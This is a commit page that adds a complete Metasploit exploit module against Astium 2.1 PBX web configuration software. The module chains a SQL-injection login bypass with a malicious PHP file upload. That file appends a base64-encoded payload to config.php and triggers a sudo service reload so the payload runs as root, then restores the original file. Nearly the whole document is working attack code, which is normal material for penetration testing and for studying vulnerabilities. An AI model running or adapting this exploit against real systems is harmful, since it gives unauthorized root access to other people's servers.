Skip to content

Commit 813bd2c

Browse files
author
jvazquez-r7
committed
Land rapid7#2379, @xistence's exploit for OSVDB 88860
2 parents acb2a34 + c2ff5ac commit 813bd2c

File tree

1 file changed

+192
-0
lines changed

1 file changed

+192
-0
lines changed
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ManualRanking # Configuration is overwritten and service reloaded
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Astium Remote Code Execution",
19+
'Description' => %q{
20+
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
21+
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
22+
admin access. From an admin session arbitrary PHP code upload is possible. It is used
23+
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
24+
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
25+
remote root code execution.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'OSVDB', '88860' ],
35+
[ 'EDB', '23831' ]
36+
],
37+
'Platform' => ['php'],
38+
'Arch' => ARCH_PHP,
39+
'Targets' =>
40+
[
41+
['Astium 2.1', {}]
42+
],
43+
'Privileged' => true,
44+
'DisclosureDate' => "Sep 17 2013",
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
50+
], self.class)
51+
end
52+
53+
def peer
54+
return "#{rhost}:#{rport}"
55+
end
56+
57+
def uri
58+
return target_uri.path
59+
end
60+
61+
def check
62+
# Check version
63+
print_status("#{peer} - Trying to detect Astium")
64+
65+
res = send_request_cgi({
66+
'method' => 'GET',
67+
'uri' => normalize_uri(uri, "en", "content", "index.php")
68+
})
69+
70+
if res and res.code == 302 and res.body =~ /direct entry from outside/
71+
return Exploit::CheckCode::Detected
72+
else
73+
return Exploit::CheckCode::Unknown
74+
end
75+
end
76+
77+
def exploit
78+
print_status("#{peer} - Access login page")
79+
res = send_request_cgi({
80+
'method' => 'GET',
81+
'uri' => normalize_uri(uri),
82+
'vars_get' => {
83+
'js' => '0',
84+
'ctest' => '1',
85+
'origlink' => '/en/content/index.php'
86+
}
87+
})
88+
89+
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
90+
session = $1
91+
print_good("#{peer} - Session cookie is [ #{session} ]")
92+
redirect = URI(res.headers['Location'])
93+
print_status("#{peer} - Location is [ #{redirect} ]")
94+
else
95+
fail_with(Exploit::Failure::Unknown, "#{peer} - Access to login page failed!")
96+
end
97+
98+
99+
# Follow redirection process
100+
print_status("#{peer} - Following redirection")
101+
res = send_request_cgi({
102+
'uri' => "#{redirect}",
103+
'method' => 'GET',
104+
'cookie' => "astiumnls=#{session}"
105+
})
106+
107+
if not res or res.code != 200
108+
fail_with(Exploit::Failure::Unknown, "#{peer} - Redirect failed!")
109+
end
110+
111+
112+
sqlirandom = rand_text_numeric(8)
113+
114+
# SQLi to bypass authentication
115+
sqli="system' OR '#{sqlirandom}'='#{sqlirandom}"
116+
117+
# Random password
118+
pass = rand_text_alphanumeric(10)
119+
120+
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
121+
print_status("#{peer} - Using SQLi to bypass authentication")
122+
res = send_request_cgi({
123+
'method' => 'POST',
124+
'uri' => normalize_uri(uri, "/en", "logon.php"),
125+
'cookie' => "astiumnls=#{session}",
126+
'data' => post_data
127+
})
128+
129+
if not res or res.code != 302
130+
fail_with(Exploit::Failure::Unknown, "#{peer} - Login bypass was not succesful!")
131+
end
132+
133+
# Random filename
134+
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
135+
136+
phppayload = "<?php "
137+
# Make backup of the "/usr/local/astium/web/php/config.php" file
138+
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
139+
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
140+
# else during the config reload it might happen that an extra shell is spawned as the apache user.
141+
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
142+
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
143+
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
144+
phppayload << "fclose($f);"
145+
# Reload astcfgd using sudo (so it will read our payload with root privileges).
146+
phppayload << "system('sudo /sbin/service astcfgd reload');"
147+
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
148+
phppayload << "sleep(60);"
149+
# Restore our original config.php, else the Astium web interface won't work anymore.
150+
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
151+
phppayload << "fwrite($f, $orig);"
152+
phppayload << "fclose($f);"
153+
phppayload << "?>"
154+
155+
post_data = Rex::MIME::Message.new
156+
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
157+
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
158+
file = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
159+
160+
print_status("#{peer} - Uploading Payload [ #{payload_name} ]")
161+
res = send_request_cgi({
162+
'method' => 'POST',
163+
'uri' => normalize_uri(uri, "en", "database", "import.php"),
164+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
165+
'cookie' => "astiumnls=#{session}",
166+
'data' => file
167+
})
168+
169+
# If the server returns 200 and the body contains our payload name,
170+
# we assume we uploaded the malicious file successfully
171+
if not res or res.code != 200 or res.body !~ /#{payload_name}/
172+
fail_with(Exploit::Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
173+
end
174+
175+
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
176+
177+
print_status("#{peer} - Requesting Payload [ #{uri}upload/#{payload_name} ]")
178+
print_status("#{peer} - Waiting as the reloading process may take some time, this may take a couple of minutes")
179+
res = send_request_cgi({
180+
'method' => 'GET',
181+
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
182+
}, 120)
183+
184+
# If we don't get a 200 when we request our malicious payload, we suspect
185+
# we don't have a shell, either.
186+
if res and res.code != 200
187+
print_error("#{peer} - Unexpected response...")
188+
end
189+
190+
end
191+
192+
end

0 commit comments

Comments
 (0)